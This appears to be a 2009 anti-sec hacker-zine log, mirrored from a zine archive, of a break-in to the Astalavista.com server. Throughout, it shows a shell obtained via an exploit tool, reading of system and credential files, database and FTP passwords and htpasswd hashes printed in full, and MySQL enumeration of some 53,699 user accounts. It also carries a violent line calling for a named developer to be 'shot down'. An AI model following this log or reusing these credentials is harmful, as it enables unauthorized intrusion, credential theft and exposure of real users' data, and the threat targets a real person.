mirror of https://github.com/fdiskyou/Zines.git
1983 lines
91 KiB
Plaintext
1983 lines
91 KiB
Plaintext
|
|
_____ _________________________ .____ _________ ____.___ _________________________
|
|
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \
|
|
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \
|
|
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \
|
|
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
|
|
\/ \/ \/ \/ \/ \/ \/
|
|
The Hacking & Security Community
|
|
[+] Founded in 1997 by a hacker computer enthusiast
|
|
[-] Exposed in 2009 by anti-sec group
|
|
|
|
From < http://astalavista.com/faq>:
|
|
>> 03. Who's behind the site?
|
|
>>
|
|
>> A team of security and IT professionals, and a countless number of contributors from all over the world.
|
|
|
|
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
|
|
>>
|
|
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
|
|
military institutions.
|
|
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
|
|
|
|
Why has Astalavista been targeted?
|
|
|
|
Other than the fact that they are not doing any of this for the "community" but
|
|
for the money, they spread exploits for kids, claim to be a security community
|
|
(with no real sense of security on their own servers), and they charge you $6.66
|
|
per months to access a dead forum with a directory filled with public releases
|
|
and outdated / broken services.
|
|
|
|
We wanted to see how good that "team of security and IT professionals" really is.
|
|
|
|
Let's begin.
|
|
|
|
anti-sec:~# ./g0tshell astalavista.com -p 80
|
|
[+] Connecting to astalavista.com:80
|
|
[+] Grabbing banner...
|
|
LiteSpeed
|
|
[+] Injecting shellcode...
|
|
[-] Wait for it
|
|
|
|
[~] We g0tshell
|
|
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
|
|
ID: uid=100(apache) gid=500(apache) groups=500(apache)
|
|
|
|
sh-3.2$ cat /etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
bin:x:1:1:bin:/bin:/sbin/nologin
|
|
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
|
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
|
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
|
sync:x:5:0:sync:/sbin:/bin/sync
|
|
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
|
halt:x:7:0:halt:/sbin:/sbin/halt
|
|
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
|
|
news:x:9:13:news:/etc/news:
|
|
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
|
|
operator:x:11:0:operator:/root:/sbin/nologin
|
|
games:x:12:100:games:/usr/games:/sbin/nologin
|
|
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
|
|
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
|
|
nobody:x:99:99:Nobody:/:/sbin/nologin
|
|
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
|
|
dbus:x:81:81:System message bus:/:/sbin/nologin
|
|
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
|
|
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
|
|
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
|
|
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
|
|
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
|
|
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
|
|
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
|
|
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
|
|
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
|
|
pcap:x:77:77::/var/arpwatch:/sbin/nologin
|
|
named:x:25:25:Named:/var/named:/sbin/nologin
|
|
apache:x:100:500::/var/www:/bin/false
|
|
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
|
|
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
|
|
webapps:x:500:501::/var/www/html:/bin/bash
|
|
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
|
|
admin:x:501:502::/home/admin:/bin/bash
|
|
jon:x:502:503::/home/jon:/bin/bash
|
|
com:x:503:504::/home/com:/bin/bash
|
|
ntp:x:38:38::/etc/ntp:/sbin/nologin
|
|
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
|
|
astanet:x:504:505::/home/astanet:/bin/bash
|
|
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
|
|
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
|
|
|
|
sh-3.2$ cat /etc/hosts
|
|
# Do not remove the following line, or various programs
|
|
# that require network functionality will fail.
|
|
127.0.0.1 localhost.localdomain localhost
|
|
::1 localhost6.localdomain6 localhost6
|
|
80.74.154.172 asta1.astalavistaserver.com
|
|
|
|
sh-3.2$ pwd
|
|
/home/com/public_html
|
|
|
|
sh-3.2$ ls -la
|
|
total 18460
|
|
drwxr-xr-x 30 com apache 4096 May 28 17:06 .
|
|
drwx--x--x 11 com com 4096 Jun 25 2008 ..
|
|
drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
|
|
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
|
|
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
|
|
drwxrwxrwx 2 com com 4096 May 19 00:50 config
|
|
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core
|
|
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
|
|
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
|
|
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
|
|
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
|
|
-rw-r--r-- 1 com com 8035 May 19 14:26 directory_to_mediadir.php
|
|
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
|
|
drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor
|
|
-rw-r--r-- 1 com com 3750 Feb 27 16:12 favicon.ico
|
|
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
|
|
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
|
|
-rw-r--r-- 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
|
|
-rw-r--r-- 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
|
|
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
|
|
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
|
|
-rw-r--r-- 1 com com 97496 Jun 2 13:01 index.php
|
|
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
|
|
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
|
|
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
|
|
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
|
|
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications
|
|
drwxr-xr-x 34 com com 4096 May 28 16:30 modules
|
|
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
|
|
drwxrwxr-x 22 com com 4096 May 28 17:06 _new
|
|
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
|
|
drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
|
|
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy
|
|
-rw-r--r-- 1 com com 26 Feb 2 19:33 robots.txt
|
|
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
|
|
-rw-r--r-- 1 com com 223 Mar 30 15:32 test.php
|
|
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
|
|
drwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
|
|
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
|
|
|
|
sh-3.2$ head -20 index.php
|
|
<?php
|
|
|
|
/**
|
|
* The main page for the CMS
|
|
* @copyright CONTREXX CMS - COMVATION AG
|
|
* @author Comvation Development Team
|
|
* @version v1.0.9.10.1 stable
|
|
* @package contrexx
|
|
* @subpackage core
|
|
* @link http://www.contrexx.com/ contrexx homepage
|
|
* @since v0.0.0.0
|
|
* @todo Capitalize all class names in project
|
|
* @uses /config/configuration.php
|
|
* @uses /config/settings.php
|
|
* @uses /config/version.php
|
|
* @uses /core/API.php
|
|
* @uses /core_modules/cache/index.class.php
|
|
* @uses /core/error.class.php
|
|
* @uses /core_modules/banner/index.class.php
|
|
* @uses /core_modules/contact/index.class.php
|
|
|
|
sh-3.2$ cd config/
|
|
sh-3.2$ ls -la
|
|
total 32
|
|
drwxrwxrwx 2 com com 4096 May 19 00:50 .
|
|
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
|
|
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php
|
|
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
|
|
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
|
|
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
|
|
|
|
sh-3.2$ cat configuration.php
|
|
[snip]
|
|
$_DBCONFIG['host'] = 'localhost'; // This is normally set to localhost
|
|
$_DBCONFIG['database'] = 'com_contrexx2_live'; // Database name
|
|
$_DBCONFIG['tablePrefix'] = 'contrexx_'; // Database table prefix
|
|
$_DBCONFIG['user'] = 'contrexxuser2'; // Database username
|
|
$_DBCONFIG['password'] = '0fEYNZgXz1pKe'; // Database password
|
|
$_DBCONFIG['dbType'] = 'mysql'; // Database type (e.g. mysql,postgres ..)
|
|
$_DBCONFIG['charset'] = 'utf8'; // Charset (default, latin1, utf8, ..)
|
|
[snip]
|
|
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
|
|
$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode
|
|
$_FTPCONFIG['host'] = 'localhost';// This is normally set to localhost
|
|
$_FTPCONFIG['port'] = 21; // Ftp remote port
|
|
$_FTPCONFIG['username'] = 'dev@astalavista.com'; // Ftp login username
|
|
$_FTPCONFIG['password'] = 'jajklop0Iuj'; // Ftp login password
|
|
$_FTPCONFIG['path'] = '/'; // Ftp path to cms
|
|
|
|
sh-3.2$ cd ..
|
|
sh-3.2$ cd dvd/
|
|
sh-3.2$ ls -la
|
|
total 2913780
|
|
drwxr-xr-x 2 com com 4096 Sep 9 2008 .
|
|
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
|
|
-rw-r--r-- 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
|
|
-rw-r--r-- 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
|
|
-rw-r--r-- 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
|
|
-rw-r--r-- 1 com com 115 Jan 29 2008 .htaccess
|
|
|
|
sh-3.2$ cat .htaccess
|
|
authType Basic
|
|
authName DVD
|
|
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
|
|
require valid-user
|
|
|
|
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
|
|
DVDdownload:CRD8cuY6.MPT6
|
|
DVDdownload2:CR8a36.wluFMg
|
|
|
|
sh-3.2$ cat test.php
|
|
<?php
|
|
$url = 'aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D';
|
|
$url = str_replace(array('&', '&'), '&', base64_decode(rawurldecode($url)));
|
|
echo $url;
|
|
?>
|
|
|
|
sh-3.2$ cd modifications/
|
|
sh-3.2$ ls -la
|
|
total 32
|
|
drwxr-xr-x 8 com com 4096 May 11 12:48 .
|
|
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
|
|
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
|
|
drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
|
|
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
|
|
drwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc
|
|
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search
|
|
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
|
|
|
|
sh-3.2$ ls -R
|
|
.:
|
|
com_avtng cronjobs onlinetools pjirc search _tmp
|
|
|
|
./com_avtng:
|
|
avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
|
|
|
|
./com_avtng/scripts:
|
|
popunder.js
|
|
|
|
./cronjobs:
|
|
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
|
|
|
|
./cronjobs/tmp:
|
|
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv
|
|
|
|
./onlinetools:
|
|
index.php
|
|
|
|
./pjirc:
|
|
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
|
|
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
|
|
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
|
|
|
|
./pjirc/img:
|
|
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
|
|
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
|
|
verre-eau.gif
|
|
argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
|
|
verre-vin.gif
|
|
ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
|
|
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
|
|
|
|
./pjirc/snd:
|
|
bell2.au ding.au
|
|
|
|
./search:
|
|
searchEngines.php search.php
|
|
|
|
./_tmp:
|
|
defaultPorts.php defaultPorts.txt
|
|
|
|
sh-3.2$ cd cronjobs/
|
|
sh-3.2$ cat exploits.php
|
|
[snip]
|
|
$categories = array();
|
|
$milw0rmFile = FULLPATH . '/modifications/cronjobs/tmp/milw0rm/sploitlist.txt';
|
|
$expolits = file($milw0rmFile);
|
|
$comExploits = array();
|
|
[snip]
|
|
// manage data
|
|
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
|
|
|
|
// get path and title
|
|
$expolits[$x] = trim($expolits[$x]);
|
|
$path = str_replace('./', FULLPATH . '/modifications/cronjobs/tmp/milw0rm/', substr($expolits[$x], 0, strpos($expolits[$x], ' ')));
|
|
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ' ') + 1, strlen($expolits[$x])), ENT_QUOTES);
|
|
|
|
// check if file exists
|
|
if (file_exists($path)) {
|
|
|
|
$text = file_get_contents($path);
|
|
|
|
// get content and date
|
|
//$text = htmlspecialchars($text, ENT_QUOTES);
|
|
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, "UTF-8"));
|
|
if ($tmptext != '') {
|
|
$text = $tmptext;
|
|
} else {
|
|
$text = addslashes(htmlentities($text, ENT_QUOTES));
|
|
}
|
|
$date = str_replace('milw0rm.com [', '', str_replace(']', '', strstr($text, 'milw0rm.com [')));
|
|
$tmp = explode('-', $date);
|
|
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
|
|
$cat = getCategory ($path);
|
|
$ext = pathinfo(basename($path));
|
|
$ext = $ext['extension'];
|
|
$qStr = "
|
|
SELECT `id`
|
|
FROM `contrexx_module_exploits`
|
|
WHERE `title` = '" . $title . "'
|
|
AND `date` = '" . $date . "'
|
|
";
|
|
echo $x + 1 . ' von ' . count($expolits) . ' -> ' . $qStr . "\n";
|
|
$q = $_objDB->query($qStr);
|
|
|
|
if ($q->numRows() == 0) {
|
|
|
|
// prepare array
|
|
$comExploits[$x]['date'] = $date;
|
|
$comExploits[$x]['title'] = $title;
|
|
$comExploits[$x]['author'] = 'milw0rm';
|
|
$comExploits[$x]['text'] = $text;
|
|
$comExploits[$x]['source'] = $ext;
|
|
$comExploits[$x]['url1'] = '';
|
|
$comExploits[$x]['url2'] = '';
|
|
$comExploits[$x]['catid'] = $cat;
|
|
$comExploits[$x]['lang'] = '2';
|
|
$comExploits[$x]['userid'] = '12';
|
|
$comExploits[$x]['startdate'] = '0000-00-00';
|
|
$comExploits[$x]['enddate'] = '0000-00-00';
|
|
$comExploits[$x]['status'] = '1';
|
|
$comExploits[$x]['changelog'] = $date;
|
|
|
|
}
|
|
[snip]
|
|
$xml = '<?xml version="1.0" encoding="UTF-8"?>
|
|
<rss version="2.0">
|
|
<channel>
|
|
<title>ASTALAVISTA.com - Exploits</title>
|
|
<link>http://www.astalavista.com/exploits</link>
|
|
<description>All availably Exploits.</description>
|
|
<language>en-us</language>
|
|
<lastBuildDate>' . date('F, j M Y H:i:s O') . '</lastBuildDate>
|
|
<docs>http://blogs.law.harvard.edu/tech/rss</docs>
|
|
<generator>Astalavista.com</generator>
|
|
<webMaster>info@astalavista.com</webMaster>' . $items . '
|
|
</channel>
|
|
</rss>';
|
|
|
|
|
|
if (file_exists(FULLPATH . '/feed/exploits.xml')) {
|
|
unlink (FULLPATH . '/feed/exploits.xml');
|
|
}
|
|
|
|
|
|
file_put_contents(FULLPATH . '/feed/exploits.xml', $xml);
|
|
[snip]
|
|
|
|
sh-3.2$ cat exploits.sh
|
|
#!/bin/sh
|
|
|
|
###########################################################
|
|
# #
|
|
# Title: milw0rm exploits adder #
|
|
# Description: Add all milw0rm exploits to the #
|
|
# Astalavista.com database #
|
|
# #
|
|
# Company: Astalavista Group #
|
|
# Author: Paulo M. Santos #
|
|
# E-Mail: paulo.santos@astalavista.ch #
|
|
# #
|
|
###########################################################
|
|
|
|
|
|
# path
|
|
this_path=/home/com/public_html/modifications/cronjobs
|
|
|
|
# change directory
|
|
cd $this_path
|
|
cd tmp/
|
|
|
|
# delete files
|
|
rm -rf milw0rm.tar.* &
|
|
rm -rf milw0rm/ &
|
|
|
|
# wget milw0rm paket
|
|
wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2
|
|
|
|
# extract milw0rm paket
|
|
tar -xvf milw0rm.tar.bz2
|
|
|
|
# change owner
|
|
chown -R com .
|
|
chgrp -R com .
|
|
|
|
# execute php script
|
|
cd $this_path
|
|
php -q exploits.php
|
|
|
|
# delete files
|
|
rm -rf tmp/milw0rm.tar.*
|
|
rm -rf tmp/milw0rm/
|
|
|
|
sh-3.2$ echo "Paulo M. Santos needs to be shot down."
|
|
Paulo M. Santos needs to be shot down.
|
|
|
|
mysql -u contrexxuser2 -p
|
|
Enter password:
|
|
Welcome to the MySQL monitor. Commands end with ; or \g.
|
|
Your MySQL connection id is 261694
|
|
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
|
|
|
|
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
|
|
|
|
mysql> show databases;
|
|
+--------------------+
|
|
| Database |
|
|
+--------------------+
|
|
| information_schema |
|
|
| com_contrexx2 |
|
|
| com_contrexx2_live |
|
|
| test |
|
|
+--------------------+
|
|
4 rows in set (0.00 sec)
|
|
|
|
mysql> use com_contrexx2_live
|
|
Database changed
|
|
mysql> show tables;
|
|
+--------------------------------------------------+
|
|
| Tables_in_com_contrexx2_live |
|
|
+--------------------------------------------------+
|
|
| cc_banner_counter |
|
|
| cc_search_counter |
|
|
| contrexx_access_group_dynamic_ids |
|
|
| contrexx_access_group_static_ids |
|
|
| contrexx_access_rel_user_group |
|
|
| contrexx_access_settings |
|
|
| contrexx_access_user_attribute |
|
|
| contrexx_access_user_attribute_name |
|
|
| contrexx_access_user_attribute_value |
|
|
| contrexx_access_user_core_attribute |
|
|
| contrexx_access_user_groups |
|
|
| contrexx_access_user_mail |
|
|
| contrexx_access_user_profile |
|
|
| contrexx_access_user_title |
|
|
| contrexx_access_user_validity |
|
|
| contrexx_access_users |
|
|
| contrexx_backend_areas |
|
|
| contrexx_backups |
|
|
| contrexx_content |
|
|
| contrexx_content_history |
|
|
| contrexx_content_logfile |
|
|
| contrexx_content_navigation |
|
|
| contrexx_content_navigation_history |
|
|
| contrexx_ids |
|
|
| contrexx_languages |
|
|
| contrexx_lib_country |
|
|
| contrexx_log |
|
|
| contrexx_module_alias_source |
|
|
| contrexx_module_alias_target |
|
|
| contrexx_module_block_blocks |
|
|
| contrexx_module_block_rel_lang |
|
|
| contrexx_module_block_rel_pages |
|
|
| contrexx_module_block_settings |
|
|
| contrexx_module_blog_categories |
|
|
| contrexx_module_blog_comments |
|
|
| contrexx_module_blog_message_to_category |
|
|
| contrexx_module_blog_messages |
|
|
| contrexx_module_blog_messages_lang |
|
|
| contrexx_module_blog_networks |
|
|
| contrexx_module_blog_networks_lang |
|
|
| contrexx_module_blog_settings |
|
|
| contrexx_module_blog_votes |
|
|
| contrexx_module_calendar |
|
|
| contrexx_module_calendar_access |
|
|
| contrexx_module_calendar_categories |
|
|
| contrexx_module_calendar_form_data |
|
|
| contrexx_module_calendar_form_fields |
|
|
| contrexx_module_calendar_registrations |
|
|
| contrexx_module_calendar_settings |
|
|
| contrexx_module_calendar_style |
|
|
| contrexx_module_contact_form |
|
|
| contrexx_module_contact_form_data |
|
|
| contrexx_module_contact_form_field |
|
|
| contrexx_module_contact_settings |
|
|
| contrexx_module_data_categories |
|
|
| contrexx_module_data_message_to_category |
|
|
| contrexx_module_data_messages |
|
|
| contrexx_module_data_messages_lang |
|
|
| contrexx_module_data_placeholders |
|
|
| contrexx_module_data_settings |
|
|
| contrexx_module_directory_access |
|
|
| contrexx_module_directory_categories |
|
|
| contrexx_module_directory_dir |
|
|
| contrexx_module_directory_inputfields |
|
|
| contrexx_module_directory_levels |
|
|
| contrexx_module_directory_mail |
|
|
| contrexx_module_directory_rel_dir_cat |
|
|
| contrexx_module_directory_rel_dir_level |
|
|
| contrexx_module_directory_settings |
|
|
| contrexx_module_directory_settings_google |
|
|
| contrexx_module_directory_vote |
|
|
| contrexx_module_docsys |
|
|
| contrexx_module_docsys_categories |
|
|
| contrexx_module_egov_configuration |
|
|
| contrexx_module_egov_orders |
|
|
| contrexx_module_egov_product_calendar |
|
|
| contrexx_module_egov_product_fields |
|
|
| contrexx_module_egov_products |
|
|
| contrexx_module_egov_settings |
|
|
| contrexx_module_exploits |
|
|
| contrexx_module_exploits_categories |
|
|
| contrexx_module_feed_category |
|
|
| contrexx_module_feed_news |
|
|
| contrexx_module_feed_newsml_association |
|
|
| contrexx_module_feed_newsml_categories |
|
|
| contrexx_module_feed_newsml_documents |
|
|
| contrexx_module_feed_newsml_providers |
|
|
| contrexx_module_forum_access |
|
|
| contrexx_module_forum_categories |
|
|
| contrexx_module_forum_categories_lang |
|
|
| contrexx_module_forum_notification |
|
|
| contrexx_module_forum_postings |
|
|
| contrexx_module_forum_rating |
|
|
| contrexx_module_forum_settings |
|
|
| contrexx_module_forum_statistics |
|
|
| contrexx_module_gallery_categories |
|
|
| contrexx_module_gallery_comments |
|
|
| contrexx_module_gallery_language |
|
|
| contrexx_module_gallery_language_pics |
|
|
| contrexx_module_gallery_pictures |
|
|
| contrexx_module_gallery_settings |
|
|
| contrexx_module_gallery_votes |
|
|
| contrexx_module_guestbook |
|
|
| contrexx_module_guestbook_settings |
|
|
| contrexx_module_livecam |
|
|
| contrexx_module_livecam_settings |
|
|
| contrexx_module_market |
|
|
| contrexx_module_market_access |
|
|
| contrexx_module_market_categories |
|
|
| contrexx_module_market_mail |
|
|
| contrexx_module_market_paypal |
|
|
| contrexx_module_market_settings |
|
|
| contrexx_module_market_spez_fields |
|
|
| contrexx_module_mediadir_access |
|
|
| contrexx_module_mediadir_categories |
|
|
| contrexx_module_mediadir_comments |
|
|
| contrexx_module_mediadir_dir |
|
|
| contrexx_module_mediadir_inputfields |
|
|
| contrexx_module_mediadir_levels |
|
|
| contrexx_module_mediadir_mail |
|
|
| contrexx_module_mediadir_rel_dir_cat |
|
|
| contrexx_module_mediadir_rel_dir_level |
|
|
| contrexx_module_mediadir_reports |
|
|
| contrexx_module_mediadir_settings |
|
|
| contrexx_module_mediadir_settings_google |
|
|
| contrexx_module_mediadir_vote |
|
|
| contrexx_module_memberdir_directories |
|
|
| contrexx_module_memberdir_name |
|
|
| contrexx_module_memberdir_settings |
|
|
| contrexx_module_memberdir_values |
|
|
| contrexx_module_nettools_allowed_groups |
|
|
| contrexx_module_nettools_settings |
|
|
| contrexx_module_news |
|
|
| contrexx_module_news_access |
|
|
| contrexx_module_news_categories |
|
|
| contrexx_module_news_settings |
|
|
| contrexx_module_news_teaser_frame |
|
|
| contrexx_module_news_teaser_frame_templates |
|
|
| contrexx_module_news_ticker |
|
|
| contrexx_module_newsletter |
|
|
| contrexx_module_newsletter_attachment |
|
|
| contrexx_module_newsletter_category |
|
|
| contrexx_module_newsletter_confirm_mail |
|
|
| contrexx_module_newsletter_rel_cat_news |
|
|
| contrexx_module_newsletter_rel_user_cat |
|
|
| contrexx_module_newsletter_settings |
|
|
| contrexx_module_newsletter_template |
|
|
| contrexx_module_newsletter_tmp_sending |
|
|
| contrexx_module_newsletter_user |
|
|
| contrexx_module_newsletter_user_title |
|
|
| contrexx_module_onlinetools_defaultports |
|
|
| contrexx_module_onlinetools_defaultports_back |
|
|
| contrexx_module_onlinetools_geolitecity_blocks |
|
|
| contrexx_module_onlinetools_geolitecity_country |
|
|
| contrexx_module_onlinetools_geolitecity_location |
|
|
| contrexx_module_podcast_category |
|
|
| contrexx_module_podcast_medium |
|
|
| contrexx_module_podcast_rel_category_lang |
|
|
| contrexx_module_podcast_rel_medium_category |
|
|
| contrexx_module_podcast_settings |
|
|
| contrexx_module_podcast_template |
|
|
| contrexx_module_proxydb |
|
|
| contrexx_module_recommend |
|
|
| contrexx_module_repository |
|
|
| contrexx_module_securitynews_cats |
|
|
| contrexx_module_securitynews_feeds |
|
|
| contrexx_module_securitynews_news |
|
|
| contrexx_module_shop_categories |
|
|
| contrexx_module_shop_config |
|
|
| contrexx_module_shop_countries |
|
|
| contrexx_module_shop_currencies |
|
|
| contrexx_module_shop_customers |
|
|
| contrexx_module_shop_importimg |
|
|
| contrexx_module_shop_lsv |
|
|
| contrexx_module_shop_mail |
|
|
| contrexx_module_shop_mail_content |
|
|
| contrexx_module_shop_manufacturer |
|
|
| contrexx_module_shop_order_items |
|
|
| contrexx_module_shop_order_items_attributes |
|
|
| contrexx_module_shop_orders |
|
|
| contrexx_module_shop_payment |
|
|
| contrexx_module_shop_payment_processors |
|
|
| contrexx_module_shop_pricelists |
|
|
| contrexx_module_shop_products |
|
|
| contrexx_module_shop_products_attributes |
|
|
| contrexx_module_shop_products_attributes_name |
|
|
| contrexx_module_shop_products_attributes_value |
|
|
| contrexx_module_shop_products_downloads |
|
|
| contrexx_module_shop_rel_countries |
|
|
| contrexx_module_shop_rel_payment |
|
|
| contrexx_module_shop_rel_shipment |
|
|
| contrexx_module_shop_shipment_cost |
|
|
| contrexx_module_shop_shipper |
|
|
| contrexx_module_shop_vat |
|
|
| contrexx_module_shop_zones |
|
|
| contrexx_module_u2u_address_list |
|
|
| contrexx_module_u2u_message_log |
|
|
| contrexx_module_u2u_sent_messages |
|
|
| contrexx_module_u2u_settings |
|
|
| contrexx_module_u2u_user_log |
|
|
| contrexx_modules |
|
|
| contrexx_sessions |
|
|
| contrexx_settings |
|
|
| contrexx_settings_smtp |
|
|
| contrexx_skins |
|
|
| contrexx_stats_browser |
|
|
| contrexx_stats_colourdepth |
|
|
| contrexx_stats_config |
|
|
| contrexx_stats_country |
|
|
| contrexx_stats_hostname |
|
|
| contrexx_stats_javascript |
|
|
| contrexx_stats_operatingsystem |
|
|
| contrexx_stats_referer |
|
|
| contrexx_stats_requests |
|
|
| contrexx_stats_requests_summary |
|
|
| contrexx_stats_screenresolution |
|
|
| contrexx_stats_search |
|
|
| contrexx_stats_spiders |
|
|
| contrexx_stats_spiders_summary |
|
|
| contrexx_stats_visitors |
|
|
| contrexx_stats_visitors_summary |
|
|
| contrexx_voting_additionaldata |
|
|
| contrexx_voting_email |
|
|
| contrexx_voting_rel_email_system |
|
|
| contrexx_voting_results |
|
|
| contrexx_voting_system |
|
|
| foo |
|
|
+--------------------------------------------------+
|
|
227 rows in set (0.01 sec)
|
|
|
|
mysql> select count(*) as skids from contrexx_access_users;
|
|
+-------+
|
|
| skids |
|
|
+-------+
|
|
| 53699 |
|
|
+-------+
|
|
1 row in set (0.00 sec)
|
|
|
|
mysql> describe contrexx_access_users;
|
|
+------------------+------------------------------------------+------+-----+--------------+----------------+
|
|
| Field | Type | Null | Key | Default | Extra |
|
|
+------------------+------------------------------------------+------+-----+--------------+----------------+
|
|
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
|
|
| is_admin | tinyint(1) unsigned | NO | | 0 | |
|
|
| username | varchar(40) | YES | MUL | NULL | |
|
|
| password | varchar(32) | YES | | NULL | |
|
|
| regdate | int(14) unsigned | NO | | 0 | |
|
|
